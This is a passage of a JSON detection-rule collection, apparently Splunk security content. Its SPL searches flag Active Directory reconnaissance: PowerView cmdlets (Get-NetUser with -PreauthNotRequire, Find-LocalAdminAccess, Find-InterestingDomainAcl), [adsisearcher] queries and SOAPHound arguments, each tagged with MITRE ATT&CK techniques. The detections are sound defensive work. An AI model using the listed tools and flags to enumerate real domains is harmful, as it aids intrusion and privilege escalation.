`security_content_ctime(lastTime)` | `drop_dm_object_name(\"All_Traffic\")` | `network_traffic_to_active_directory_web_services_protocol_filter`", - "tags": { - "analytic_story": [ - "Windows Discovery Techniques" - ], - "asset_type": "Network", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "dest_ip", - "type": "IP Address", - "role": [ - "Victim" - ] - } - ], - "message": "Network traffic to Active Directory Web Services Protocol was identified on $dest_ip$ by $src_ip$.", - "risk_score": 10, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1069.001", - "mitre_attack_technique": "Local Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Chimera", - "HEXANE", - "OilRig", - "Tonto Team", - "Turla", - "Volt Typhoon", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1482", - "mitre_attack_technique": "Domain Trust Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Akira", - "Chimera", - "Earth Lusca", - "FIN8", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1087.001", - "mitre_attack_technique": "Local Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT32", - "APT41", - "Chimera", - "Fox Kitten", - "Ke3chang", - "Moses Staff", - "OilRig", - "Poseidon Group", - "Threat Group-3390", - "Turla", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1069.002", - "mitre_attack_technique": "Domain Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Dragonfly", - "FIN7", - "Inception", - "Ke3chang", - "LAPSUS$", - "OilRig", - "ToddyCat", - "Turla", - "Volt Typhoon" - ] - }, - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - } - ] - } - }, - { - "name": "SchCache Change By App Connect And Create ADSI Object", - "description": "The following analytic detects an application attempting to connect and create an ADSI object to perform an LDAP query. It leverages Sysmon EventCode 11 to identify changes in the Active Directory Schema cache files located in %LOCALAPPDATA%\\Microsoft\\Windows\\SchCache or %systemroot%\\SchCache. This activity is significant as it can indicate the presence of suspicious applications, such as ransomware, using ADSI object APIs for LDAP queries. If confirmed malicious, this behavior could allow attackers to gather sensitive directory information, potentially leading to further exploitation or lateral movement within the network.", - "search": "`sysmon` EventCode=11 TargetFilename = \"*\\\\Windows\\\\SchCache\\\\*\" TargetFilename = \"*.sch*\" NOT (Image IN (\"*\\\\Windows\\\\system32\\\\mmc.exe\")) |stats count min(_time) as firstTime max(_time) as lastTime by Image TargetFilename EventCode process_id process_name dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `schcache_change_by_app_connect_and_create_adsi_object_filter`", - "tags": { - "analytic_story": [ - "BlackMatter Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "process $Image$ create a file $TargetFilename$ in host $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - } - ] - } - }, - { - "name": "Windows Account Discovery for None Disable User Account", - "description": "The following analytic detects the execution of the PowerView PowerShell cmdlet Get-NetUser with the UACFilter parameter set to NOT_ACCOUNTDISABLE, indicating an attempt to enumerate Active Directory user accounts that are not disabled. This detection leverages PowerShell Script Block Logging (EventCode 4104) to identify the specific script block text. Monitoring this activity is significant as it may indicate reconnaissance efforts by an attacker to identify active user accounts for further exploitation. If confirmed malicious, this activity could lead to unauthorized access, privilege escalation, or lateral movement within the network.", - "search": "`powershell` EventCode=4104 ScriptBlockText = \"*Get-NetUser*\" ScriptBlockText = \"*NOT_ACCOUNTDISABLE*\" ScriptBlockText = \"*-UACFilter*\" | rename Computer as dest, UserID as user | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText dest user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_account_discovery_for_none_disable_user_account_filter`", - "tags": { - "analytic_story": [ - "CISA AA23-347A" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Windows Account Discovery for None Disable User Account using PowerView's Get-NetUser on $dest$.", - "risk_score": 15, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1087.001", - "mitre_attack_technique": "Local Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT32", - "APT41", - "Chimera", - "Fox Kitten", - "Ke3chang", - "Moses Staff", - "OilRig", - "Poseidon Group", - "Threat Group-3390", - "Turla", - "admin@338" - ] - } - ] - } - }, - { - "name": "Windows Account Discovery for Sam Account Name", - "description": "The following analytic detects the execution of the PowerView PowerShell cmdlet Get-NetUser, specifically querying for \"samaccountname\" and \"pwdlastset\" attributes. It leverages Event ID 4104 from PowerShell Script Block Logging to identify this activity. This behavior is significant as it may indicate an attempt to gather user account information from Active Directory, which is a common reconnaissance step in lateral movement or privilege escalation attacks. If confirmed malicious, this activity could allow an attacker to map out user accounts, potentially leading to further exploitation and unauthorized access within the network.", - "search": "`powershell` EventCode=4104 ScriptBlockText = \"*Get-NetUser*\" ScriptBlockText IN (\"*samaccountname*\", \"*pwdlastset*\") | rename Computer as dest, UserID as user | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText dest user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_account_discovery_for_sam_account_name_filter`", - "tags": { - "analytic_story": [ - "CISA AA23-347A" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Windows Account Discovery for Sam Account Name on $dest$.", - "risk_score": 15, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - } - ] - } - }, - { - "name": "Windows Account Discovery With NetUser PreauthNotRequire", - "description": "The following analytic detects the execution of the PowerView PowerShell cmdlet Get-NetUser with the -PreauthNotRequire parameter, leveraging Event ID 4104. This method identifies attempts to query Active Directory user accounts that do not require Kerberos preauthentication. Monitoring this activity is crucial as it can indicate reconnaissance efforts by an attacker to identify potentially vulnerable accounts. If confirmed malicious, this behavior could lead to further exploitation, such as unauthorized access or privilege escalation within the network.", - "search": "`powershell` EventCode=4104 ScriptBlockText = \"*Get-NetUser*\" ScriptBlockText = \"*-PreauthNotRequire*\" | rename Computer as dest, UserID as user | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText dest user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_account_discovery_with_netuser_preauthnotrequire_filter`", - "tags": { - "analytic_story": [ - "CISA AA23-347A" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A user dicovery using powerview commandlet Get-NetUser with PreauthNotRequire parameter on $dest$.", - "risk_score": 15, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - } - ] - } - }, - { - "name": "Windows AD Abnormal Object Access Activity", - "description": "The following analytic identifies a statistically significant increase in access to Active Directory objects, which may indicate attacker enumeration. It leverages Windows Security Event Code 4662 to monitor and analyze access patterns, comparing them against historical averages to detect anomalies. This activity is significant for a SOC because abnormal access to AD objects can be an early indicator of reconnaissance efforts by an attacker. If confirmed malicious, this behavior could lead to unauthorized access, privilege escalation, or further compromise of the Active Directory environment.", - "search": "`wineventlog_security` EventCode=4662 | stats min(_time) AS firstTime, max(_time) AS lastTime, dc(ObjectName) AS ObjectName_count, values(ObjectType) AS ObjectType, latest(Computer) AS dest count BY SubjectUserName | eventstats avg(ObjectName_count) AS average stdev(ObjectName_count) AS standarddev | eval limit = round((average+(standarddev*3)),0), user = SubjectUserName | where ObjectName_count > limit | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `windows_ad_abnormal_object_access_activity_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "The account $user$ accessed an abnormal amount ($ObjectName_count$) of [$ObjectType$] AD object(s) between $firstTime$ and $lastTime$.", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Windows AD Privileged Object Access Activity", - "description": "The following analytic detects access attempts to privileged Active Directory objects, such as Domain Admins or Enterprise Admins. It leverages Windows Security Event Code 4662 to identify when these sensitive objects are accessed. This activity is significant because such objects should rarely be accessed by normal users or processes, and unauthorized access attempts may indicate attacker enumeration or lateral movement within the domain. If confirmed malicious, this activity could allow attackers to escalate privileges, persist in the environment, or gain control over critical domain resources.", - "search": "`wineventlog_security` EventCode=4662 ObjectName IN ( \"CN=Account Operators,*\", \"CN=Administrators,*\", \"CN=Backup Operators,*\", \"CN=Cert Publishers,*\", \"CN=Certificate Service DCOM Access,*\", \"CN=Domain Admins,*\", \"CN=Domain Controllers,*\", \"CN=Enterprise Admins,*\", \"CN=Enterprise Read-only Domain Controllers,*\", \"CN=Group Policy Creator Owners,*\", \"CN=Incoming Forest Trust Builders,*\", \"CN=Microsoft Exchange Servers,*\", \"CN=Network Configuration Operators,*\", \"CN=Power Users,*\", \"CN=Print Operators,*\", \"CN=Read-only Domain Controllers,*\", \"CN=Replicators,*\", \"CN=Schema Admins,*\", \"CN=Server Operators,*\", \"CN=Exchange Trusted Subsystem,*\", \"CN=Exchange Windows Permission,*\", \"CN=Organization Management,*\") | rex field=ObjectName \"CN\\=(?[^,]+)\" | stats values(Computer) as dest, values(object_name) as object_name, dc(ObjectName) as object_count, min(_time) as firstTime, max(_time) as lastTime, count by SubjectUserName | rename SubjectUserName as user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_ad_privileged_object_access_activity_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "object_name", - "type": "Other", - "role": [ - "Attacker" - ] - } - ], - "message": "The account $user$ accessed $object_count$ privileged AD object(s).", - "risk_score": 40, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Windows Domain Account Discovery Via Get-NetComputer", - "description": "The following analytic detects the execution of the PowerView PowerShell cmdlet Get-NetComputer, which is used to query Active Directory for user account details such as \"samaccountname,\" \"accountexpires,\" \"lastlogon,\" and more. It leverages Event ID 4104 from PowerShell Script Block Logging to identify this activity. This behavior is significant as it may indicate an attempt to gather user account information, which is often a precursor to further malicious actions. If confirmed malicious, this activity could lead to unauthorized access, privilege escalation, or lateral movement within the network.", - "search": "`powershell` EventCode=4104 ScriptBlockText = \"*Get-NetComputer*\" ScriptBlockText IN (\"*samaccountname*\", \"*accountexpires*\", \"*lastlogon*\", \"*lastlogoff*\", \"*pwdlastset*\", \"*logoncount*\") | rename Computer as dest, UserID as user | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText dest user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_domain_account_discovery_via_get_netcomputer_filter`", - "tags": { - "analytic_story": [ - "CISA AA23-347A" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Windows Domain Account Discovery Via Get-NetComputer in $dest$.", - "risk_score": 15, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Windows Find Domain Organizational Units with GetDomainOU", - "description": "The following analytic detects the execution of the `Get-DomainOU` cmdlet, a part of the PowerView toolkit used for Windows domain enumeration. It leverages PowerShell Script Block Logging (EventCode=4104) to identify this activity. Detecting `Get-DomainOU` usage is significant as adversaries may use it to gather information about organizational units within Active Directory, which can facilitate lateral movement or privilege escalation. If confirmed malicious, this activity could allow attackers to map the domain structure, aiding in further exploitation and persistence within the network.", - "search": "`powershell` EventCode=4104 ScriptBlockText = \"*Get-DomainOU*\" | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer UserID | rename Computer as dest, UserID as user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_find_domain_organizational_units_with_getdomainou_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Suspicious PowerShell Get-DomainOU was identified on endpoint $dest$ by user $user$.", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Windows Find Interesting ACL with FindInterestingDomainAcl", - "description": "The following analytic detects the execution of the `Find-InterestingDomainAcl` cmdlet, part of the PowerView toolkit, using PowerShell Script Block Logging (EventCode=4104). This detection leverages logs to identify when this command is run, which is significant as adversaries may use it to find misconfigured or unusual Access Control Lists (ACLs) within a domain. If confirmed malicious, this activity could allow attackers to identify privilege escalation opportunities or weak security configurations in Active Directory, potentially leading to unauthorized access or further exploitation.", - "search": "`powershell` EventCode=4104 ScriptBlockText = \"*Find-InterestingDomainAcl*\" | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer UserID | rename Computer as dest, UserID as user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_find_interesting_acl_with_findinterestingdomainacl_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Suspicious PowerShell Find-InterestingDomainAcl was identified on endpoint $dest$ by user $user$.", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Windows Forest Discovery with GetForestDomain", - "description": "The following analytic detects the execution of the `Get-ForestDomain` cmdlet, a component of the PowerView toolkit used for Windows domain enumeration. It leverages PowerShell Script Block Logging (EventCode=4104) to identify this activity. Detecting `Get-ForestDomain` is significant because adversaries and Red Teams use it to gather detailed information about Active Directory forest and domain configurations. If confirmed malicious, this activity could enable attackers to understand the domain structure, facilitating lateral movement or privilege escalation within the environment.", - "search": "`powershell` EventCode=4104 ScriptBlockText = \"*Get-ForestDomain*\" | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer UserID | rename Computer as dest, UserID as user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_forest_discovery_with_getforestdomain_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Suspicious PowerShell Get-ForestDomain was identified on endpoint $dest$ by user $user$.", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Windows Get Local Admin with FindLocalAdminAccess", - "description": "The following analytic detects the execution of the `Find-LocalAdminAccess` cmdlet using PowerShell Script Block Logging (EventCode=4104). This cmdlet is part of PowerView, a toolkit for Windows domain enumeration. Identifying the use of `Find-LocalAdminAccess` is crucial as adversaries may use it to find machines where the current user has local administrator access, facilitating lateral movement or privilege escalation. If confirmed malicious, this activity could allow attackers to target and compromise additional systems within the network, significantly increasing their control and access to sensitive information.", - "search": "`powershell` EventCode=4104 ScriptBlockText = \"*Find-LocalAdminAccess*\" | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer UserID | rename Computer as dest, UserID as user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_get_local_admin_with_findlocaladminaccess_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Suspicious PowerShell Find-LocalAdminAccess was identified on endpoint $dest$ by user $user$.", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Windows Linked Policies In ADSI Discovery", - "description": "The following analytic detects the use of the `[Adsisearcher]` type accelerator in PowerShell Script Block Logging (EventCode=4104) to query Active Directory for domain organizational units. This detection leverages PowerShell operational logs to identify script blocks containing `[adsisearcher]`, `objectcategory=organizationalunit`, and `findAll()`. This activity is significant as it indicates potential reconnaissance efforts by adversaries to gain situational awareness of the domain structure. If confirmed malicious, this could lead to further exploitation, such as privilege escalation or lateral movement within the network.", - "search": "`powershell` EventCode=4104 ScriptBlockText = \"*[adsisearcher]*\" ScriptBlockText = \"*objectcategory=organizationalunit*\" ScriptBlockText = \"*findAll()*\" | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer user_id | rename Computer as dest, user_id as user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_linked_policies_in_adsi_discovery_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery", - "Data Destruction", - "Industroyer2" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Windows PowerShell [Adsisearcher] was used user enumeration on $user$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - } - ] - } - }, - { - "name": "Windows Root Domain linked policies Discovery", - "description": "The following analytic detects the use of the `[Adsisearcher]` type accelerator in PowerShell to query Active Directory for root domain linked policies. It leverages PowerShell Script Block Logging (EventCode=4104) to identify this activity. This behavior is significant as it may indicate an attempt by adversaries or Red Teams to gain situational awareness and perform Active Directory Discovery. If confirmed malicious, this activity could allow attackers to map out domain policies, potentially aiding in further exploitation or lateral movement within the network.", - "search": "`powershell` EventCode=4104 ScriptBlockText = \"*[adsisearcher]*\" ScriptBlockText = \"*.SearchRooT*\" ScriptBlockText = \"*.gplink*\" | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer user_id | rename Computer as dest, user_id as user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_root_domain_linked_policies_discovery_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery", - "Data Destruction", - "Industroyer2" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Windows PowerShell [Adsisearcher] was used user enumeration on endpoint $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - } - ] - } - }, - { - "name": "Windows SOAPHound Binary Execution", - "description": "The following analytic detects the execution of the SOAPHound binary (`soaphound.exe`) with specific command-line arguments. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names, command-line arguments, and other process-related metadata. This activity is significant because SOAPHound is a known tool used for credential dumping and other malicious activities. If confirmed malicious, this behavior could allow an attacker to extract sensitive information, escalate privileges, or persist within the environment, posing a severe threat to organizational security.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=\"soaphound.exe\" OR Processes.original_file_name=\"soaphound.exe\" AND Processes.process IN (\"*--buildcache *\", \"*--bhdump *\", \"*--certdump *\", \"*--dnsdump *\", \"*-c *\", \"*--cachefilename *\", \"*-o *\", \"*--outputdirectory *\") by Processes.process Processes.dest Processes.process_current_directory Processes.process_name 